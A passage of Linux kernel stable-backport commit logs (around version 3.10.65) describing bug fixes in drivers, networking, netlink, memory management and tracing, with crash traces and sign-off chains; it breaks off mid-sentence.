Signed-off-by: Pranav Vashi commit 40ff13f8e323ca7f7dbe6f8c320f124c5f308fbc Author: Hans Holmberg Date: Fri Jan 9 09:40:43 2015 +0100 gpiolib: of: Correct error handling in of_get_named_gpiod_flags commit 7b8792bbdffdff3abda704f89c6a45ea97afdc62 upstream. of_get_named_gpiod_flags fails with -EPROBE_DEFER in cases where the gpio chip is available and the GPIO translation fails. This causes drivers to be re-probed erroneusly, and hides the real problem(i.e. the GPIO number being out of range). Signed-off-by: Hans Holmberg Reviewed-by: Alexandre Courbot Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 58596d76696a150450d9a8e6eb834f2871cf0800 Author: Trond Myklebust Date: Fri Jan 2 16:25:08 2015 -0500 NFSv4.1: Fix client id trunking on Linux commit 1fc0703af3143914a389bfa081c7acb09502ed5d upstream. Currently, our trunking code will check for session trunking, but will fail to detect client id trunking. This is a problem, because it means that the client will fail to recognise that the two connections represent shared state, even if they do not permit a shared session. By removing the check for the server minor id, and only checking the major id, we will end up doing the right thing in both cases: we close down the new nfs_client and fall back to using the existing one. Fixes: 05f4c350ee02e ("NFS: Discover NFSv4 server trunking when mounting") Cc: Chuck Lever Tested-by: Chuck Lever Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d857dbd3d09881bd6191957f3a12abf5af632d5 Author: Steven Rostedt (Red Hat) Date: Mon Jan 12 12:12:03 2015 -0500 ftrace/jprobes/x86: Fix conflict between jprobes and function graph tracing commit 237d28db036e411f22c03cfd5b0f6dc2aa9bf3bc upstream. If the function graph tracer traces a jprobe callback, the system will crash. This can easily be demonstrated by compiling the jprobe sample module that is in the kernel tree, loading it and running the function graph tracer. # modprobe jprobe_example.ko # echo function_graph > /sys/kernel/debug/tracing/current_tracer # ls The first two commands end up in a nice crash after the first fork. (do_fork has a jprobe attached to it, so "ls" just triggers that fork) The problem is caused by the jprobe_return() that all jprobe callbacks must end with. The way jprobes works is that the function a jprobe is attached to has a breakpoint placed at the start of it (or it uses ftrace if fentry is supported). The breakpoint handler (or ftrace callback) will copy the stack frame and change the ip address to return to the jprobe handler instead of the function. The jprobe handler must end with jprobe_return() which swaps the stack and does an int3 (breakpoint). This breakpoint handler will then put back the saved stack frame, simulate the instruction at the beginning of the function it added a breakpoint to, and then continue on. For function tracing to work, it hijakes the return address from the stack frame, and replaces it with a hook function that will trace the end of the call. This hook function will restore the return address of the function call. If the function tracer traces the jprobe handler, the hook function for that handler will not be called, and its saved return address will be used for the next function. This will result in a kernel crash. To solve this, pause function tracing before the jprobe handler is called and unpause it before it returns back to the function it probed. Some other updates: Used a variable "saved_sp" to hold kcb->jprobe_saved_sp. This makes the code look a bit cleaner and easier to understand (various tries to fix this bug required this change). Note, if fentry is being used, jprobes will change the ip address before the function graph tracer runs and it will not be able to trace the function that the jprobe is probing. Link: http://lkml.kernel.org/r/20150114154329.552437962@goodmis.org Acked-by: Masami Hiramatsu Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45f66498a87d1d3ef4b5ed1ab6bfe9847485da35 Author: Wei Yang Date: Wed Jan 7 10:29:11 2015 -0700 vfio-pci: Fix the check on pci device type in vfio_pci_probe() commit 7c2e211f3c95b91912a92a8c6736343690042e2e upstream. Current vfio-pci just supports normal pci device, so vfio_pci_probe() will return if the pci device is not a normal device. While current code makes a mistake. PCI_HEADER_TYPE is the offset in configuration space of the device type, but we use this value to mask the type value. This patch fixs this by do the check directly on the pci_dev->hdr_type. Signed-off-by: Wei Yang Signed-off-by: Alex Williamson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b883679907c103108f43cdedd7d11c1e338c7ba9 Author: Takashi Iwai Date: Fri Oct 24 05:10:20 2014 -0300 uvcvideo: Fix destruction order in uvc_delete() commit 2228d80dd05a4fc5a410fde847677b8fb3eb23d7 upstream. We've got a bug report at disconnecting a Webcam, where the kernel spews warnings like below: WARNING: CPU: 0 PID: 8385 at ../fs/sysfs/group.c:219 sysfs_remove_group+0x87/0x90() sysfs group c0b2350c not found for kobject 'event3' CPU: 0 PID: 8385 Comm: queue2:src Not tainted 3.16.2-1.gdcee397-default #1 Hardware name: ASUSTeK Computer INC. A7N8X-E/A7N8X-E, BIOS ASUS A7N8X-E Deluxe ACPI BIOS Rev 1013 11/12/2004 c08d0705 ddc75cbc c0718c5b ddc75ccc c024b654 c08c6d44 ddc75ce8 000020c1 c08d0705 000000db c03d1ec7 c03d1ec7 00000009 00000000 c0b2350c d62c9064 ddc75cd4 c024b6a3 00000009 ddc75ccc c08c6d44 ddc75ce8 ddc75cfc c03d1ec7 Call Trace: [] try_stack_unwind+0x156/0x170 [] dump_trace+0x53/0x180 [] show_trace_log_lvl+0x46/0x50 [] show_stack_log_lvl+0x51/0xe0 [] show_stack+0x27/0x50 [] dump_stack+0x3e/0x4e [] warn_slowpath_common+0x84/0xa0 [] warn_slowpath_fmt+0x33/0x40 [] sysfs_remove_group+0x87/0x90 [] device_del+0x34/0x180 [] evdev_disconnect+0x19/0x50 [] __input_unregister_device+0x9a/0x140 [] input_unregister_device+0x45/0x80 [] uvc_delete+0x26/0x110 [uvcvideo] [] v4l2_device_release+0x98/0xc0 [videodev] [] device_release+0x2b/0x90 [] kobject_cleanup+0x6f/0x1a0 [] v4l2_release+0x43/0x70 [videodev] [] __fput+0xb1/0x1b0 [] task_work_run+0x91/0xb0 [] do_exit+0x265/0x910 [] do_group_exit+0x34/0xa0 [] get_signal_to_deliver+0x17f/0x590 [] do_signal+0x3a/0x960 [] do_notify_resume+0x67/0x90 [] work_notifysig+0x30/0x3b [] 0xb7739e5f ---[ end trace b1e56095a485b631 ]--- The cause is that uvc_status_cleanup() is called after usb_put_*() in uvc_delete(). usb_put_*() removes the sysfs parent and eventually removes the children recursively, so the later device_del() can't find its sysfs. The fix is simply rearrange the call orders in uvc_delete() so that the child is removed before the parent. Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=897736 Reported-and-tested-by: Martin Pluskal Signed-off-by: Takashi Iwai Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 116490099a9caa16cb81e3936ef9e574b539311f Author: Sakari Ailus Date: Tue Sep 16 15:57:07 2014 -0300 smiapp: Take mutex during PLL update in sensor initialisation commit f85698cd296f08218a7750f321e94607da128600 upstream. The mutex does not serialise anything in this case but avoids a lockdep warning from the control framework. Signed-off-by: Sakari Ailus Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 43761a48ca9ff43ff86dd7e66aba3a8b87d77018 Author: Frank Schaefer Date: Mon Sep 29 15:17:35 2014 -0300 af9005: fix kernel panic on init if compiled without IR commit 2279948735609d0d17d7384e776b674619f792ef upstream. This patches fixes an ancient bug in the dvb_usb_af9005 driver, which has been reported at least in the following threads: https://lkml.org/lkml/2009/2/4/350 https://lkml.org/lkml/2014/9/18/558 If the driver is compiled in without any IR support (neither DVB_USB_AF9005_REMOTE nor custom symbols), the symbol_request calls in af9005_usb_module_init() return pointers != NULL although the IR symbols are not available. This leads to the following oops: ... [ 8.529751] usbcore: registered new interface driver dvb_usb_af9005 [ 8.531584] BUG: unable to handle kernel paging request at 02e00000 [ 8.533385] IP: [<7d9d67c6>] af9005_usb_module_init+0x6b/0x9d [ 8.535613] *pde = 00000000 [ 8.536416] Oops: 0000 [#1] PREEMPT PREEMPT DEBUG_PAGEALLOCDEBUG_PAGEALLOC [ 8.537863] CPU: 0 PID: 1 Comm: swapper Not tainted 3.15.0-rc6-00151-ga5c075c #1 [ 8.539827] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 [ 8.541519] task: 89c9a670 ti: 89c9c000 task.ti: 89c9c000 [ 8.541519] EIP: 0060:[<7d9d67c6>] EFLAGS: 00010206 CPU: 0 [ 8.541519] EIP is at af9005_usb_module_init+0x6b/0x9d [ 8.541519] EAX: 02e00000 EBX: 00000000 ECX: 00000006 EDX: 00000000 [ 8.541519] ESI: 00000000 EDI: 7da33ec8 EBP: 89c9df30 ESP: 89c9df2c [ 8.541519] DS: 007b ES: 007b FS: 0000 GS: 00e0 SS: 0068 [ 8.541519] CR0: 8005003b CR2: 02e00000 CR3: 05a54000 CR4: 00000690 [ 8.541519] Stack: [ 8.541519] 7d9d675b 89c9df90 7d992a49 7d7d5914 89c9df4c 7be3a800 7d08c58c 8a4c3968 [ 8.541519] 89c9df80 7be3a966 00000192 00000006 00000006 7d7d3ff4 8a4c397a 00000200 [ 8.541519] 7d6b1280 8a4c3979 00000006 000009a6 7da32db8 b13eec81 00000006 000009a6 [ 8.541519] Call Trace: [ 8.541519] [<7d9d675b>] ? ttusb2_driver_init+0x16/0x16 [ 8.541519] [<7d992a49>] do_one_initcall+0x77/0x106 [ 8.541519] [<7be3a800>] ? parameqn+0x2/0x35 [ 8.541519] [<7be3a966>] ? parse_args+0x113/0x25c [ 8.541519] [<7d992bc2>] kernel_init_freeable+0xea/0x167 [ 8.541519] [<7cf01070>] kernel_init+0x8/0xb8 [ 8.541519] [<7cf27ec0>] ret_from_kernel_thread+0x20/0x30 [ 8.541519] [<7cf01068>] ? rest_init+0x10c/0x10c [ 8.541519] Code: 08 c2 c7 05 44 ed f9 7d 00 00 e0 02 c7 05 40 ed f9 7d 00 00 e0 02 c7 05 3c ed f9 7d 00 00 e0 02 75 1f b8 00 00 e0 02 85 c0 74 16 00 00 e0 02 c7 05 54 84 8e 7d 00 00 e0 02 a3 58 84 8e 7d eb [ 8.541519] EIP: [<7d9d67c6>] af9005_usb_module_init+0x6b/0x9d SS:ESP 0068:89c9df2c [ 8.541519] CR2: 0000000002e00000 [ 8.541519] ---[ end trace 768b6faf51370fc7 ]--- The prefered fix would be to convert the whole IR code to use the kernel IR infrastructure (which wasn't available at the time this driver had been created). Until anyone who still has this old hardware steps up an does the conversion, fix it by not calling the symbol_request calls if the driver is compiled in without the default IR symbols (CONFIG_DVB_USB_AF9005_REMOTE). Due to the IR related pointers beeing NULL by default, IR support will then be disabled. The downside of this solution is, that it will no longer be possible to compile custom IR symbols (not using CONFIG_DVB_USB_AF9005_REMOTE) in. Please note that this patch has NOT been tested with all possible cases. I don't have the hardware and could only verify that it fixes the reported bug. Reported-by: Fengguag Wu Signed-off-by: Frank Schäfer Acked-by: Luca Olivetti Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4c8a75c2d8851157bb395189ad9e71e764fbfd8 Author: Sakari Ailus Date: Tue Apr 1 10:22:46 2014 -0300 smiapp-pll: Correct clock debug prints commit bc47150ab93988714d1fab7bc82fe5f505a107ad upstream. The PLL flags were not used correctly. Signed-off-by: Sakari Ailus Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 848c085e34095a4d85c471f15c223811b78c6520 Author: Tomi Valkeinen Date: Thu Dec 18 13:40:06 2014 +0200 video/logo: prevent use of logos after they have been freed commit 92b004d1aa9f367c372511ca0330f58216b25703 upstream. If the probe of an fb driver has been deferred due to missing dependencies, and the probe is later ran when a module is loaded, the fbdev framework will try to find a logo to use. However, the logos are __initdata, and have already been freed. This causes sometimes page faults, if the logo memory is not mapped, sometimes other random crashes as the logo data is invalid, and sometimes nothing, if the fbdev decides to reject the logo (e.g. the random value depicting the logo's height is too big). This patch adds a late_initcall function to mark the logos as freed. In reality the logos are freed later, and fbdev probe may be ran between this late_initcall and the freeing of the logos. In that case we will miss drawing the logo, even if it would be possible. Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a189b6940ca6dd844393bd5ee47f12e21c50220 Author: Long Li Date: Fri Dec 5 19:38:18 2014 -0800 storvsc: ring buffer failures may result in I/O freeze commit e86fb5e8ab95f10ec5f2e9430119d5d35020c951 upstream. When ring buffer returns an error indicating retry, storvsc may not return a proper error code to SCSI when bounce buffer is not used. This has introduced I/O freeze on RAID running atop storvsc devices. This patch fixes it by always returning a proper error code. Signed-off-by: Long Li Reviewed-by: K. Y. Srinivasan Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f65671707b9a21212b9691d6d1931b165a662bb8 Author: Nicholas Bellinger Date: Thu Nov 20 20:50:07 2014 -0800 iscsi-target: Fail connection on short sendmsg writes commit 6bf6ca7515c1df06f5c03737537f5e0eb191e29e upstream. This patch changes iscsit_do_tx_data() to fail on short writes when kernel_sendmsg() returns a value different than requested transfer length, returning -EPIPE and thus causing a connection reset to occur. This avoids a potential bug in the original code where a short write would result in kernel_sendmsg() being called again with the original iovec base + length. In practice this has not been an issue because iscsit_do_tx_data() is only used for transferring 48 byte headers + 4 byte digests, along with seldom used control payloads from NOPIN + TEXT_RSP + REJECT with less than 32k of data. So following Al's audit of iovec consumers, go ahead and fail the connection on short writes for now, and remove the bogus logic ahead of his proper upstream fix. Reported-by: Al Viro Cc: David S. Miller Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12e91bcc7965e69606367cdbea31eec4de54ef7a Author: Dominique Leuenberger Date: Thu Nov 13 20:57:37 2014 +0100 hp_accel: Add support for HP ZBook 15 commit 6583659e0f92e38079a8dd081e0a1181a0f37747 upstream. HP ZBook 15 laptop needs a non-standard mapping (x_inverted). BugLink: http://bugzilla.opensuse.org/show_bug.cgi?id=905329 Signed-off-by: Dominique Leuenberger Signed-off-by: Takashi Iwai Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4440ed6beed0d03576d6e58f8bc4518c57c6b82c Author: Jouni Malinen Date: Thu Dec 11 23:48:55 2014 +0200 cfg80211: Fix 160 MHz channels with 80+80 and 160 MHz drivers commit 08f6f147773b23b765b94633a8eaa82e7defcf4c upstream. The VHT supported channel width field is a two bit integer, not a bitfield. cfg80211_chandef_usable() was interpreting it incorrectly and ended up rejecting 160 MHz channel width if the driver indicated support for both 160 and 80+80 MHz channels. Fixes: 3d9d1d6656a73 ("nl80211/cfg80211: support VHT channel configuration") (however, no real drivers had 160 MHz support it until 3.16) Signed-off-by: Jouni Malinen Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d709f8493b700aa65557d09d7463316969f5ec3c Author: Vineet Gupta Date: Wed Oct 1 14:28:36 2014 +0530 ARC: [nsimosci] move peripherals to match model to FPGA commit e8ef060b37c2d3cc5fd0c0edbe4e42ec1cb9768b upstream. This allows the sdplite/Zebu images to run on OSCI simulation platform Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6f019d8f68c615d79128f366a2f984aae26c1ea Author: Chris Wilson Date: Tue Dec 16 08:44:32 2014 +0000 drm/i915: Force the CS stall for invalidate flushes commit add284a3a2481e759d6bec35f6444c32c8ddc383 upstream. In order to act as a full command barrier by itself, we need to tell the pipecontrol to actually stall the command streamer while the flush runs. We require the full command barrier before operations like MI_SET_CONTEXT, which currently rely on a prior invalidate flush. References: https://bugs.freedesktop.org/show_bug.cgi?id=83677 Cc: Simon Farnsworth Cc: Daniel Vetter Cc: Ville Syrjälä Signed-off-by: Chris Wilson Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0687406873734cfd0051660c43f3909546909c4e Author: Chris Wilson Date: Tue Dec 16 08:44:31 2014 +0000 drm/i915: Invalidate media caches on gen7 commit 148b83d0815a3778c8949e6a97cb798cbaa0efb3 upstream. In the gen7 pipe control there is an extra bit to flush the media caches, so let's set it during cache invalidation flushes. v2: Rename to MEDIA_STATE_CLEAR to be more inline with spec. Cc: Simon Farnsworth Cc: Ville Syrjälä Cc: Daniel Vetter Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f56f4352849444102675b9965a7a99e8c28bcf0 Author: Alex Deucher Date: Wed Dec 10 09:42:10 2014 -0500 drm/radeon: properly filter DP1.2 4k modes on non-DP1.2 hw commit 410cce2a6b82299b46ff316c6384e789ce275ecb upstream. The check was already in place in the dp mode_valid check, but radeon_dp_get_dp_link_clock() never returned the high clock mode_valid was checking for because that function clipped the clock based on the hw capabilities. Add an explicit check in the mode_valid function. bug: https://bugs.freedesktop.org/show_bug.cgi?id=87172 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6fffa45abb7f6b70c47f6ac6e516febdca170a3 Author: Alex Deucher Date: Wed Dec 3 00:03:49 2014 -0500 drm/radeon: check the right ring in radeon_evict_flags() commit 5e5c21cac1001089007260c48b0c89ebaace0e71 upstream. Check the that ring we are using for copies is functional rather than the GFX ring. On newer asics we use the DMA ring for bo moves. Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 093030465f29e114cf0fa638a5a630b62387d815 Author: Thomas Hellstrom Date: Tue Dec 2 03:36:57 2014 -0800 drm/vmwgfx: Fix fence event code commit 89669e7a7f96be3ee8d9a22a071d7c0d3b4428fc upstream. The commit "vmwgfx: Rework fence event action" introduced a number of bugs that are fixed with this commit: a) A forgotten return stateemnt. b) An if statement with identical branches. Reported-by: Rob Clark Signed-off-by: Thomas Hellstrom Reviewed-by: Jakob Bornecrantz Reviewed-by: Sinclair Yeh Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56dd7c37297eb64dcd34f10523df6d4fda3b789e Author: Govindarajulu Varadarajan <_govind@gmx.com> Date: Thu Dec 18 15:58:42 2014 +0530 enic: fix rx skb checksum [ Upstream commit 17e96834fd35997ca7cdfbf15413bcd5a36ad448 ] Hardware always provides compliment of IP pseudo checksum. Stack expects whole packet checksum without pseudo checksum if CHECKSUM_COMPLETE is set. This causes checksum error in nf & ovs. kernel: qg-19546f09-f2: hw csum failure kernel: CPU: 9 PID: 0 Comm: swapper/9 Tainted: GF O-------------- 3.10.0-123.8.1.el7.x86_64 #1 kernel: Hardware name: Cisco Systems Inc UCSB-B200-M3/UCSB-B200-M3, BIOS B200M3.2.2.3.0.080820141339 08/08/2014 kernel: ffff881218f40000 df68243feb35e3a8 ffff881237a43ab8 ffffffff815e237b kernel: ffff881237a43ad0 ffffffff814cd4ca ffff8829ec71eb00 ffff881237a43af0 kernel: ffffffff814c6232 0000000000000286 ffff8829ec71eb00 ffff881237a43b00 kernel: Call Trace: kernel: [] dump_stack+0x19/0x1b kernel: [] netdev_rx_csum_fault+0x3a/0x40 kernel: [] __skb_checksum_complete_head+0x62/0x70 kernel: [] __skb_checksum_complete+0x11/0x20 kernel: [] nf_ip_checksum+0xcc/0x100 kernel: [] icmp_error+0x1f7/0x35c [nf_conntrack_ipv4] kernel: [] ? netif_rx+0xb9/0x1d0 kernel: [] ? internal_dev_recv+0xdb/0x130 [openvswitch] kernel: [] nf_conntrack_in+0xf0/0xa80 [nf_conntrack] kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] ipv4_conntrack_in+0x22/0x30 [nf_conntrack_ipv4] kernel: [] nf_iterate+0xaa/0xc0 kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] nf_hook_slow+0x84/0x140 kernel: [] ? inet_del_offload+0x40/0x40 kernel: [] ip_rcv+0x344/0x380 Hardware verifies IP & tcp/udp header checksum but does not provide payload checksum, use CHECKSUM_UNNECESSARY. Set it only if its valid IP tcp/udp packet. Cc: Jiri Benc Cc: Stefan Assmann Reported-by: Sunil Choudhary Signed-off-by: Govindarajulu Varadarajan <_govind@gmx.com> Reviewed-by: Jiri Benc Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6306175c2a70d07f5a20c54c55312f6114e4b199 Author: Eric Dumazet Date: Sun Jan 11 10:32:18 2015 -0800 alx: fix alx_poll() [ Upstream commit 7a05dc64e2e4c611d89007b125b20c0d2a4d31a5 ] Commit d75b1ade567f ("net: less interrupt masking in NAPI") uncovered wrong alx_poll() behavior. A NAPI poll() handler is supposed to return exactly the budget when/if napi_complete() has not been called. It is also supposed to return number of frames that were received, so that netdev_budget can have a meaning. Also, in case of TX pressure, we still have to dequeue received packets : alx_clean_rx_irq() has to be called even if alx_clean_tx_irq(alx) returns false, otherwise device is half duplex. Signed-off-by: Eric Dumazet Fixes: d75b1ade567f ("net: less interrupt masking in NAPI") Reported-by: Oded Gabbay Bisected-by: Oded Gabbay Tested-by: Oded Gabbay Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d66a695900282ff2296ed0430781e2fa4c5b323 Author: Herbert Xu Date: Thu Jan 1 00:39:23 2015 +1100 tcp: Do not apply TSO segment limit to non-TSO packets [ Upstream commit 843925f33fcc293d80acf2c5c8a78adf3344d49b ] Thomas Jarosch reported IPsec TCP stalls when a PMTU event occurs. In fact the problem was completely unrelated to IPsec. The bug is also reproducible if you just disable TSO/GSO. The problem is that when the MSS goes down, existing queued packet on the TX queue that have not been transmitted yet all look like TSO packets and get treated as such. This then triggers a bug where tcp_mss_split_point tells us to generate a zero-sized packet on the TX queue. Once that happens we're screwed because the zero-sized packet can never be removed by ACKs. Fixes: 1485348d242 ("tcp: Apply device TSO segment limit earlier") Reported-by: Thomas Jarosch Signed-off-by: Herbert Xu Cheers, Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32d1d0569677ed86e7fb93c3035283736aeb7dab Author: Prashant Sreedharan Date: Sat Dec 20 12:16:17 2014 -0800 tg3: tg3_disable_ints using uninitialized mailbox value to disable interrupts [ Upstream commit 05b0aa579397b734f127af58e401a30784a1e315 ] During driver load in tg3_init_one, if the driver detects DMA activity before intializing the chip tg3_halt is called. As part of tg3_halt interrupts are disabled using routine tg3_disable_ints. This routine was using mailbox value which was not initialized (default value is 0). As a result driver was writing 0x00000001 to pci config space register 0, which is the vendor id / device id. This driver bug was exposed because of the commit a7877b17a667 (PCI: Check only the Vendor ID to identify Configuration Request Retry). Also this issue is only seen in older generation chipsets like 5722 because config space write to offset 0 from driver is possible. The newer generation chips ignore writes to offset 0. Also without commit a7877b17a667, for these older chips when a GRC reset is issued the Bootcode would reprogram the vendor id/device id, which is the reason this bug was masked earlier. Fixed by initializing the interrupt mailbox registers before calling tg3_halt. Please queue for -stable. Reported-by: Nils Holland Reported-by: Marcelo Ricardo Leitner Signed-off-by: Prashant Sreedharan Signed-off-by: Michael Chan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8612e37cbe191b28be516bd8dcbb5080e8e1dda Author: Thomas Graf Date: Thu Dec 18 10:30:26 2014 +0000 netlink: Don't reorder loads/stores before marking mmap netlink frame as available [ Upstream commit a18e6a186f53af06937a2c268c72443336f4ab56 ] Each mmap Netlink frame contains a status field which indicates whether the frame is unused, reserved, contains data or needs to be skipped. Both loads and stores may not be reordeded and must complete before the status field is changed and another CPU might pick up the frame for use. Use an smp_mb() to cover needs of both types of callers to netlink_set_status(), callers which have been reading data frame from the frame, and callers which have been filling or releasing and thus writing to the frame. - Example code path requiring a smp_rmb(): memcpy(skb->data, (void *)hdr + NL_MMAP_HDRLEN, hdr->nm_len); netlink_set_status(hdr, NL_MMAP_STATUS_UNUSED); - Example code path requiring a smp_wmb(): hdr->nm_uid = from_kuid(sk_user_ns(sk), NETLINK_CB(skb).creds.uid); hdr->nm_gid = from_kgid(sk_user_ns(sk), NETLINK_CB(skb).creds.gid); netlink_frame_flush_dcache(hdr); netlink_set_status(hdr, NL_MMAP_STATUS_VALID); Fixes: f9c228 ("netlink: implement memory mapped recvmsg()") Reported-by: Eric Dumazet Signed-off-by: Thomas Graf Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11aa4909851d822e7653942fdaa449ca015effea Author: David Miller Date: Tue Dec 16 17:58:17 2014 -0500 netlink: Always copy on mmap TX. [ Upstream commit 4682a0358639b29cf69437ed909c6221f8c89847 ] Checking the file f_count and the nlk->mapped count is not completely sufficient to prevent the mmap'd area contents from changing from under us during netlink mmap sendmsg() operations. Be careful to sample the header's length field only once, because this could change from under us as well. Fixes: 5fd96123ee19 ("netlink: implement memory mapped sendmsg()") Signed-off-by: David S. Miller Acked-by: Daniel Borkmann Acked-by: Thomas Graf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 33b62c9108d8f915c77e232b32cd6227d5c4a346 Author: Greg Kroah-Hartman Date: Fri Jan 16 07:00:00 2015 -0800 Linux 3.10.65 Signed-off-by: Pranav Vashi commit 62039917b7daf4e0575fc0f6137c5c3f96b4fa60 Author: Linus Torvalds Date: Sun Jan 11 11:33:57 2015 -0800 mm: Don't count the stack guard page towards RLIMIT_STACK commit 690eac53daff34169a4d74fc7bfbd388c4896abb upstream. Commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page") made sure that we return the error properly for stack growth conditions. It also theorized that counting the guard page towards the stack limit might break something, but also said "Let's see if anybody notices". Somebody did notice. Apparently android-x86 sets the stack limit very close to the limit indeed, and including the guard page in the rlimit check causes the android 'zygote' process problems. So this adds the (fairly trivial) code to make the stack rlimit check be against the actual real stack size, rather than the size of the vma that includes the guard page. Reported-and-tested-by: Chih-Wei Huang Cc: Jay Foad Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0baf54d0ae8e0d36ba50db5f89a2ba5cb9e0769 Author: Linus Torvalds Date: Tue Jan 6 13:00:05 2015 -0800 mm: propagate error from stack expansion even for guard page commit fee7e49d45149fba60156f5b59014f764d3e3728 upstream. Jay Foad reports that the address sanitizer test (asan) sometimes gets confused by a stack pointer that ends up being outside the stack vma that is reported by /proc/maps. This happens due to an interaction between RLIMIT_STACK and the guard page: when we do the guard page check, we ignore the potential error from the stack expansion, which effectively results in a missing guard page, since the expected stack expansion won't have been done. And since /proc/maps explicitly ignores the guard page (commit d7824370e263: "mm: fix up some user-visible effects of the stack guard page"), the stack pointer ends up being outside the reported stack area. This is the minimal patch: it just propagates the error. It also effectively makes the guard page part of the stack limit, which in turn measn that the actual real stack is one page less than the stack limit. Let's see if anybody notices. We could teach acct_stack_growth() to allow an extra page for a grow-up/grow-down stack in the rlimit test, but I don't want to add more complexity if it isn't needed. Reported-and-tested-by: Jay Foad Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60a7435b0234a9f270d265ee6100f4bbca388d71 Author: Vlastimil Babka Date: Thu Jan 8 14:32:40 2015 -0800 mm, vmscan: prevent kswapd livelock due to pfmemalloc-throttled process being killed commit 9e5e3661727eaf960d3480213f8e87c8d67b6956 upstream. Charles Shirron and Paul Cassella from Cray Inc have reported kswapd stuck in a busy loop with nothing left to balance, but kswapd_try_to_sleep() failing to sleep. Their analysis found the cause to be a combination of several factors: 1. A process is waiting in throttle_direct_reclaim() on pgdat->pfmemalloc_wait 2. The process has been killed (by OOM in this case), but has not yet been scheduled to remove itself from the waitqueue and die. 3. kswapd checks for throttled processes in prepare_kswapd_sleep(): if (waitqueue_active(&pgdat->pfmemalloc_wait)) { wake_up(&pgdat->pfmemalloc_wait); return false; // kswapd will not go to sleep } However, for a process that was already killed, wake_up() does not remove the process from the waitqueue, since try_to_wake_up() checks its state first and returns false when the process is no longer waiting. 4. kswapd is running on the same CPU as the only CPU that the process is allowed to run on (through cpus_allowed, or possibly single-cpu system). 5. CONFIG_PREEMPT_NONE=y kernel is used. If there's nothing to balance, kswapd encounters no voluntary preemption points and repeatedly fails prepare_kswapd_sleep(), blocking the process from running and removing itself from the waitqueue, which would let kswapd sleep. So, the source of the problem is that we prevent kswapd from going to sleep until there are processes waiting on the pfmemalloc_wait queue, and a process waiting on a queue is guaranteed to be removed from the queue only when it gets scheduled. This was done to make sure that no process is left sleeping on pfmemalloc_wait when kswapd itself goes to sleep. However, it isn't necessary to postpone kswapd sleep until the pfmemalloc_wait queue actually empties. To prevent processes from being left sleeping, it's actually enough to guarantee that all processes waiting on pfmemalloc_wait queue have been woken up by the time we put kswapd to sleep. This patch therefore fixes this issue by substituting 'wake_up' with 'wake_up_all' and removing 'return false' in the code snippet from prepare_kswapd_sleep() above. Note that if any process puts itself in the queue after this waitqueue_active() check, or after the wake up itself, it means that the process will also wake up kswapd - and since we are under prepare_to_wait(), the wake up won't be missed. Also we update the comment prepare_kswapd_sleep() to hopefully more clearly describe the races it is preventing. Fixes: 5515061d22f0 ("mm: throttle direct reclaimers if PF_MEMALLOC reserves are low and swap is backed by network storage") Signed-off-by: Vlastimil Babka Signed-off-by: Vladimir Davydov Cc: Mel Gorman Cc: Johannes Weiner Acked-by: Michal Hocko Acked-by: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b17e3be1d7e37cd7f7e26f2f0bb705fb5393867b Author: Jiri Olsa Date: Wed Nov 26 16:39:31 2014 +0100 perf session: Do not fail on processing out of order event commit f61ff6c06dc8f32c7036013ad802c899ec590607 upstream. Linus reported perf report command being interrupted due to processing of 'out of order' event, with following error: Timestamp below last 